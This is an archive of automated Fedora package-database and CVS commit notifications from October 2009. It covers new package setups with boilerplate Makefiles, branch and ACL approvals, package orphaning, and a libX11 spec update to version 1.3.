Subject: [pkgdb] gdata-sharp summary updated by kevin
Message-ID: <20091006173725.2DC4B10F894@bastion2.fedora.phx.redhat.com>

kevin set package gdata-sharp summary to .NET library for the Google Data API

To make changes to this package see:
  /pkgdb/packages/name/gdata-sharp



From pkgdb at fedoraproject.org  Tue Oct  6 17:37:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:37:25 +0000
Subject: [pkgdb] gdata-sharp (Fedora, 11) updated by kevin
Message-ID: <20091006173725.470B910F8A1@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for gdata-sharp
kevin has set commit to Approved for 107427 on gdata-sharp (Fedora 11)
kevin has set checkout to Approved for 107427 on gdata-sharp (Fedora 11)
kevin has set build to Approved for 107427 on gdata-sharp (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/gdata-sharp



From pkgdb at fedoraproject.org  Tue Oct  6 17:37:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:37:25 +0000
Subject: [pkgdb] gdata-sharp (Fedora, 11) updated by kevin
Message-ID: <20091006173725.55C6E10F8A4@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for gdata-sharp
kevin has set commit to Approved for 107427 on gdata-sharp (Fedora 12)
kevin has set checkout to Approved for 107427 on gdata-sharp (Fedora 12)
kevin has set build to Approved for 107427 on gdata-sharp (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/gdata-sharp



From kevin at fedoraproject.org  Tue Oct  6 17:37:35 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 17:37:35 +0000 (UTC)
Subject: rpms/gdata-sharp/devel - New directory
Message-ID: <20091006173735.3BFDC11C00C1@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/gdata-sharp/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsQ19600/rpms/gdata-sharp/devel

Log Message:
Directory /cvs/pkgs/rpms/gdata-sharp/devel added to the repository




From kevin at fedoraproject.org  Tue Oct  6 17:37:35 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 17:37:35 +0000 (UTC)
Subject: rpms/gdata-sharp - New directory
Message-ID: <20091006173735.19B6311C00C1@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/gdata-sharp
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsQ19600/rpms/gdata-sharp

Log Message:
Directory /cvs/pkgs/rpms/gdata-sharp added to the repository




From kevin at fedoraproject.org  Tue Oct  6 17:37:42 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 17:37:42 +0000 (UTC)
Subject: rpms/gdata-sharp Makefile,NONE,1.1
Message-ID: <20091006173742.11F4011C00C1@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/gdata-sharp
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsQ19600/rpms/gdata-sharp

Added Files:
	Makefile 
Log Message:
Setup of module gdata-sharp


--- NEW FILE Makefile ---
# Top level Makefile for module gdata-sharp
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Tue Oct  6 17:37:42 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 17:37:42 +0000 (UTC)
Subject: rpms/gdata-sharp/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091006173742.5454011C00C1@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/gdata-sharp/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsQ19600/rpms/gdata-sharp/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module gdata-sharp


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: gdata-sharp
# $Id: Makefile,v 1.1 2009/10/06 17:37:42 kevin Exp $
NAME := gdata-sharp
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Tue Oct  6 17:38:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:38:54 +0000
Subject: [pkgdb] sblim-cim-client was added for vcrhonek
Message-ID: <20091006173854.1624810F8A2@bastion2.fedora.phx.redhat.com>

kevin has added Package sblim-cim-client with summary The purpose of this package is to provide a CIM Client Class Library for Java applications
kevin has approved Package sblim-cim-client
kevin has added a Fedora devel branch for sblim-cim-client with an owner of vcrhonek
kevin has approved sblim-cim-client in Fedora devel
kevin has approved Package sblim-cim-client
kevin has set commit to Approved for 107427 on sblim-cim-client (Fedora devel)
kevin has set checkout to Approved for 107427 on sblim-cim-client (Fedora devel)
kevin has set build to Approved for 107427 on sblim-cim-client (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cim-client



From pkgdb at fedoraproject.org  Tue Oct  6 17:38:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:38:56 +0000
Subject: [pkgdb] sblim-cim-client summary updated by kevin
Message-ID: <20091006173856.2848710F8A4@bastion2.fedora.phx.redhat.com>

kevin set package sblim-cim-client summary to The purpose of this package is to provide a CIM Client Class Library for Java applications

To make changes to this package see:
  /pkgdb/packages/name/sblim-cim-client



From pkgdb at fedoraproject.org  Tue Oct  6 17:38:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:38:56 +0000
Subject: [pkgdb] sblim-cim-client (Fedora EPEL, 4) updated by kevin
Message-ID: <20091006173856.2F2BB10F8AC@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 10 branch for sblim-cim-client
kevin has set commit to Approved for 107427 on sblim-cim-client (Fedora 10)
kevin has set checkout to Approved for 107427 on sblim-cim-client (Fedora 10)
kevin has set build to Approved for 107427 on sblim-cim-client (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cim-client



From pkgdb at fedoraproject.org  Tue Oct  6 17:38:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:38:56 +0000
Subject: [pkgdb] sblim-cim-client (Fedora EPEL, 4) updated by kevin
Message-ID: <20091006173856.35DD810F8AF@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for sblim-cim-client
kevin has set commit to Approved for 107427 on sblim-cim-client (Fedora 11)
kevin has set checkout to Approved for 107427 on sblim-cim-client (Fedora 11)
kevin has set build to Approved for 107427 on sblim-cim-client (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cim-client



From pkgdb at fedoraproject.org  Tue Oct  6 17:38:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:38:56 +0000
Subject: [pkgdb] sblim-cim-client (Fedora EPEL, 4) updated by kevin
Message-ID: <20091006173856.4484510F8B3@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 4 branch for sblim-cim-client
kevin has set commit to Approved for 107427 on sblim-cim-client (Fedora EPEL 4)
kevin has set checkout to Approved for 107427 on sblim-cim-client (Fedora EPEL 4)
kevin has set build to Approved for 107427 on sblim-cim-client (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cim-client



From pkgdb at fedoraproject.org  Tue Oct  6 17:38:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:38:56 +0000
Subject: [pkgdb] sblim-cim-client (Fedora EPEL, 4) updated by kevin
Message-ID: <20091006173856.4AF2610F8B5@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for sblim-cim-client
kevin has set commit to Approved for 107427 on sblim-cim-client (Fedora 12)
kevin has set checkout to Approved for 107427 on sblim-cim-client (Fedora 12)
kevin has set build to Approved for 107427 on sblim-cim-client (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cim-client



From pkgdb at fedoraproject.org  Tue Oct  6 17:38:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:38:56 +0000
Subject: [pkgdb] sblim-cim-client (Fedora EPEL, 4) updated by kevin
Message-ID: <20091006173856.5BF1110F8B9@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for sblim-cim-client
kevin has set commit to Approved for 107427 on sblim-cim-client (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on sblim-cim-client (Fedora EPEL 5)
kevin has set build to Approved for 107427 on sblim-cim-client (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cim-client



From kevin at fedoraproject.org  Tue Oct  6 17:39:04 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 17:39:04 +0000 (UTC)
Subject: rpms/sblim-cim-client - New directory
Message-ID: <20091006173904.13C3311C00C1@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sblim-cim-client
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvss20120/rpms/sblim-cim-client

Log Message:
Directory /cvs/pkgs/rpms/sblim-cim-client added to the repository




From kevin at fedoraproject.org  Tue Oct  6 17:39:04 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 17:39:04 +0000 (UTC)
Subject: rpms/sblim-cim-client/devel - New directory
Message-ID: <20091006173904.35BC311C00C1@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sblim-cim-client/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvss20120/rpms/sblim-cim-client/devel

Log Message:
Directory /cvs/pkgs/rpms/sblim-cim-client/devel added to the repository




From kevin at fedoraproject.org  Tue Oct  6 17:39:11 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 17:39:11 +0000 (UTC)
Subject: rpms/sblim-cim-client Makefile,NONE,1.1
Message-ID: <20091006173911.6BC4911C00C1@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sblim-cim-client
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvss20120/rpms/sblim-cim-client

Added Files:
	Makefile 
Log Message:
Setup of module sblim-cim-client


--- NEW FILE Makefile ---
# Top level Makefile for module sblim-cim-client
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Tue Oct  6 17:39:11 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 17:39:11 +0000 (UTC)
Subject: rpms/sblim-cim-client/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091006173911.A503311C00C1@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sblim-cim-client/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvss20120/rpms/sblim-cim-client/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module sblim-cim-client


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: sblim-cim-client
# $Id: Makefile,v 1.1 2009/10/06 17:39:11 kevin Exp $
NAME := sblim-cim-client
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Tue Oct  6 17:42:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:42:30 +0000
Subject: [pkgdb] fapg was added for roma
Message-ID: <20091006174230.8088410F890@bastion2.fedora.phx.redhat.com>

kevin has added Package fapg with summary Fast Audio Playlist Generator
kevin has approved Package fapg
kevin has added a Fedora devel branch for fapg with an owner of roma
kevin has approved fapg in Fedora devel
kevin has approved Package fapg
kevin has set commit to Approved for 107427 on fapg (Fedora devel)
kevin has set checkout to Approved for 107427 on fapg (Fedora devel)
kevin has set build to Approved for 107427 on fapg (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/fapg



From pkgdb at fedoraproject.org  Tue Oct  6 17:42:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:42:31 +0000
Subject: [pkgdb] fapg summary updated by kevin
Message-ID: <20091006174231.CF94E10F894@bastion2.fedora.phx.redhat.com>

kevin set package fapg summary to Fast Audio Playlist Generator

To make changes to this package see:
  /pkgdb/packages/name/fapg



From pkgdb at fedoraproject.org  Tue Oct  6 17:42:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:42:31 +0000
Subject: [pkgdb] fapg (Fedora, 10) updated by kevin
Message-ID: <20091006174231.DE46A10F8A2@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for fapg
kevin has set commit to Approved for 107427 on fapg (Fedora 11)
kevin has set checkout to Approved for 107427 on fapg (Fedora 11)
kevin has set build to Approved for 107427 on fapg (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/fapg



From pkgdb at fedoraproject.org  Tue Oct  6 17:42:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:42:31 +0000
Subject: [pkgdb] fapg (Fedora, 10) updated by kevin
Message-ID: <20091006174231.ECE0510F8A9@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 10 branch for fapg
kevin has set commit to Approved for 107427 on fapg (Fedora 10)
kevin has set checkout to Approved for 107427 on fapg (Fedora 10)
kevin has set build to Approved for 107427 on fapg (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/fapg



From pkgdb at fedoraproject.org  Tue Oct  6 17:42:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:42:31 +0000
Subject: [pkgdb] fapg (Fedora, 10) updated by kevin
Message-ID: <20091006174231.EFAF210F8AC@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for fapg
kevin has set commit to Approved for 107427 on fapg (Fedora 12)
kevin has set checkout to Approved for 107427 on fapg (Fedora 12)
kevin has set build to Approved for 107427 on fapg (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/fapg



From kevin at fedoraproject.org  Tue Oct  6 17:42:45 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 17:42:45 +0000 (UTC)
Subject: rpms/fapg - New directory
Message-ID: <20091006174245.17F1C11C00C1@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/fapg
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsn21920/rpms/fapg

Log Message:
Directory /cvs/pkgs/rpms/fapg added to the repository




From kevin at fedoraproject.org  Tue Oct  6 17:42:45 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 17:42:45 +0000 (UTC)
Subject: rpms/fapg/devel - New directory
Message-ID: <20091006174245.3FCAE11C029A@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/fapg/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsn21920/rpms/fapg/devel

Log Message:
Directory /cvs/pkgs/rpms/fapg/devel added to the repository




From kevin at fedoraproject.org  Tue Oct  6 17:42:52 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 17:42:52 +0000 (UTC)
Subject: rpms/fapg Makefile,NONE,1.1
Message-ID: <20091006174252.3225411C00C1@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/fapg
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsn21920/rpms/fapg

Added Files:
	Makefile 
Log Message:
Setup of module fapg


--- NEW FILE Makefile ---
# Top level Makefile for module fapg
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Tue Oct  6 17:42:52 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 17:42:52 +0000 (UTC)
Subject: rpms/fapg/devel .cvsignore, NONE, 1.1 Makefile, NONE, 1.1 sources, 
	NONE, 1.1
Message-ID: <20091006174252.690C911C00C1@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/fapg/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsn21920/rpms/fapg/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module fapg


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: fapg
# $Id: Makefile,v 1.1 2009/10/06 17:42:52 kevin Exp $
NAME := fapg
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Tue Oct  6 17:45:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:45:59 +0000
Subject: [pkgdb] fuse-python (Fedora EPEL, 5) updated by kevin
Message-ID: <20091006174600.04E5E10F890@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for fuse-python
kevin has set commit to Approved for 107427 on fuse-python (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on fuse-python (Fedora EPEL 5)
kevin has set build to Approved for 107427 on fuse-python (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/fuse-python



From ajax at fedoraproject.org  Tue Oct  6 17:45:59 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Tue,  6 Oct 2009 17:45:59 +0000 (UTC)
Subject: rpms/libX11/F-12 libX11.spec,1.66,1.67 sources,1.16,1.17
Message-ID: <20091006174559.4BD4E11C00C1@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/libX11/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22877

Modified Files:
	libX11.spec sources 
Log Message:
* Tue Oct 06 2009 Peter Hutterer <peter.hutterer at redhat.com> 1.3-1
- libX11 1.3



Index: libX11.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libX11/F-12/libX11.spec,v
retrieving revision 1.66
retrieving revision 1.67
diff -u -p -r1.66 -r1.67
--- libX11.spec	13 Aug 2009 06:30:09 -0000	1.66
+++ libX11.spec	6 Oct 2009 17:45:59 -0000	1.67
@@ -1,19 +1,19 @@
 %define tarball libX11
-%define gitdate 20090805
+#define gitdate 20090805
 
 Summary: Core X11 protocol client library
 Name: libX11
-Version: 1.2.99
-Release: 5.%{gitdate}%{?dist}
+Version: 1.3
+Release: 1%{?dist}
 License: MIT
 Group: System Environment/Libraries
 URL: http://www.x.org
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-#Source0: http://xorg.freedesktop.org/archive/individual/lib/%{name}-%{version}.tar.bz2
+Source0: http://xorg.freedesktop.org/archive/individual/lib/%{name}-%{version}.tar.bz2
 #Source0: http://cgit.freedesktop.org/xorg/lib/libX11/snapshot/libX11-%{version}.tar.bz2 
-Source0:    %{tarball}-%{gitdate}.tar.bz2
-Source1:    make-git-snapshot.sh
+#Source0:    %{tarball}-%{gitdate}.tar.bz2
+#Source1:    make-git-snapshot.sh
 
 Patch2: dont-forward-keycode-0.patch
 
@@ -50,8 +50,8 @@ Requires: pkgconfig
 X.Org X11 libX11 development package
 
 %prep
-#%setup -q
-%setup -q -n %{tarball}-%{gitdate}
+%setup -q
+#setup -q -n %{tarball}-%{gitdate}
 %patch2 -p1 -b .dont-forward-keycode-0
 
 %build
@@ -116,6 +116,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man3/*.3*
 
 %changelog
+* Tue Oct 06 2009 Peter Hutterer <peter.hutterer at redhat.com> 1.3-1
+- libX11 1.3
+
 * Thu Aug 13 2009 Parag <paragn at fedoraproject.org> 1.2.99-5.20090805
 - Merge-review cleanups #226062
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libX11/F-12/sources,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- sources	5 Aug 2009 22:56:36 -0000	1.16
+++ sources	6 Oct 2009 17:45:59 -0000	1.17
@@ -1 +1 @@
-f45b5af929e4366a3f1466e390add673  libX11-20090805.tar.bz2
+0545089013213e90aac19b8f8045d32e  libX11-1.3.tar.bz2



From pkgdb at fedoraproject.org  Tue Oct  6 17:59:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:59:56 +0000
Subject: [pkgdb] vim-vimoutliner had acl change status
Message-ID: <20091006175956.DA11010F88E@bastion2.fedora.phx.redhat.com>

mcepl has set the watchbugzilla acl on vim-vimoutliner (Fedora devel) to Approved for plautrba

To make changes to this package see:
  /pkgdb/packages/name/vim-vimoutliner



From pkgdb at fedoraproject.org  Tue Oct  6 17:59:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:59:57 +0000
Subject: [pkgdb] vim-vimoutliner had acl change status
Message-ID: <20091006175957.82EE010F894@bastion2.fedora.phx.redhat.com>

mcepl has set the watchcommits acl on vim-vimoutliner (Fedora devel) to Approved for plautrba

To make changes to this package see:
  /pkgdb/packages/name/vim-vimoutliner



From pkgdb at fedoraproject.org  Tue Oct  6 18:00:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 18:00:00 +0000
Subject: [pkgdb] vim-vimoutliner had acl change status
Message-ID: <20091006180000.27EB710F8A4@bastion2.fedora.phx.redhat.com>

mcepl has set the approveacls acl on vim-vimoutliner (Fedora devel) to Approved for plautrba

To make changes to this package see:
  /pkgdb/packages/name/vim-vimoutliner



From pkgdb at fedoraproject.org  Tue Oct  6 17:59:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:59:58 +0000
Subject: [pkgdb] vim-vimoutliner had acl change status
Message-ID: <20091006175958.C4F0F10F8A1@bastion2.fedora.phx.redhat.com>

mcepl has set the commit acl on vim-vimoutliner (Fedora devel) to Approved for plautrba

To make changes to this package see:
  /pkgdb/packages/name/vim-vimoutliner



From pkgdb at fedoraproject.org  Tue Oct  6 18:00:17 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 18:00:17 +0000
Subject: [pkgdb] vim-vimoutliner ownership updated
Message-ID: <20091006180017.6277F10F8A4@bastion2.fedora.phx.redhat.com>

Package vim-vimoutliner in Fedora devel is now owned by plautrba

To make changes to this package see:
  /pkgdb/packages/name/vim-vimoutliner



From pkgdb at fedoraproject.org  Tue Oct  6 18:00:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 18:00:27 +0000
Subject: [pkgdb] vim-vimoutliner ownership updated
Message-ID: <20091006180027.29CBC10F890@bastion2.fedora.phx.redhat.com>

Package vim-vimoutliner in Fedora 7 was orphaned by mcepl

To make changes to this package see:
  /pkgdb/packages/name/vim-vimoutliner



From pkgdb at fedoraproject.org  Tue Oct  6 18:00:28 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 18:00:28 +0000
Subject: [pkgdb] vim-vimoutliner ownership updated
Message-ID: <20091006180029.0A48010F8A3@bastion2.fedora.phx.redhat.com>

Package vim-vimoutliner in Fedora 5 was orphaned by mcepl

To make changes to this package see:
  /pkgdb/packages/name/vim-vimoutliner



From pkgdb at fedoraproject.org  Tue Oct  6 18:00:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 18:00:29 +0000
Subject: [pkgdb] vim-vimoutliner ownership updated
Message-ID: <20091006180030.0086C10F8A2@bastion2.fedora.phx.redhat.com>

Package vim-vimoutliner in Fedora 6 was orphaned by mcepl

To make changes to this package see:
  /pkgdb/packages/name/vim-vimoutliner



From pkgdb at fedoraproject.org  Tue Oct  6 18:00:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 18:00:33 +0000
Subject: [pkgdb] vim-vimoutliner ownership updated
Message-ID: <20091006180033.A73A510F895@bastion2.fedora.phx.redhat.com>

Package vim-vimoutliner in Fedora 8 was orphaned by mcepl

To make changes to this package see:
  /pkgdb/packages/name/vim-vimoutliner



From pkgdb at fedoraproject.org  Tue Oct  6 18:00:34 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 18:00:34 +0000
Subject: [pkgdb] vim-vimoutliner ownership updated
Message-ID: <20091006180034.CE32010F88E@bastion2.fedora.phx.redhat.com>

Package vim-vimoutliner in Fedora 9 was orphaned by mcepl

To make changes to this package see:
  /pkgdb/packages/name/vim-vimoutliner



From pkgdb at fedoraproject.org  Tue Oct  6 18:00:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 18:00:38 +0000
Subject: [pkgdb] vim-vimoutliner ownership updated
Message-ID: <20091006180038.A52FC10F8A1@bastion2.fedora.phx.redhat.com>

Package vim-vimoutliner in Fedora 11 was orphaned by mcepl

To make changes to this package see:
  /pkgdb/packages/name/vim-vimoutliner



From pkgdb at fedoraproject.org  Tue Oct  6 18:00:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 18:00:37 +0000
Subject: [pkgdb] vim-vimoutliner ownership updated
Message-ID: <20091006180037.3F08510F8A4@bastion2.fedora.phx.redhat.com>

Package vim-vimoutliner in Fedora 10 was orphaned by mcepl

To make changes to this package see:
  /pkgdb/packages/name/vim-vimoutliner



From pkgdb at fedoraproject.org  Tue Oct  6 18:00:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 18:00:42 +0000
Subject: [pkgdb] vim-vimoutliner ownership updated
Message-ID: <20091006180042.304D210F88E@bastion2.fedora.phx.redhat.com>

Package vim-vimoutliner in Fedora 12 was orphaned by mcepl

To make changes to this package see:
  /pkgdb/packages/name/vim-vimoutliner



From pkgdb at fedoraproject.org  Tue Oct  6 18:05:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 18:05:53 +0000
Subject: [pkgdb] libvirt-cim had acl change status
Message-ID: <20091006180553.4041110F88E@bastion2.fedora.phx.redhat.com>

kaitlin has set the commit acl on libvirt-cim (Fedora 10) to Obsolete for danms

To make changes to this package see:
  /pkgdb/packages/name/libvirt-cim



From pkgdb at fedoraproject.org  Tue Oct  6 18:05:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 18:05:55 +0000
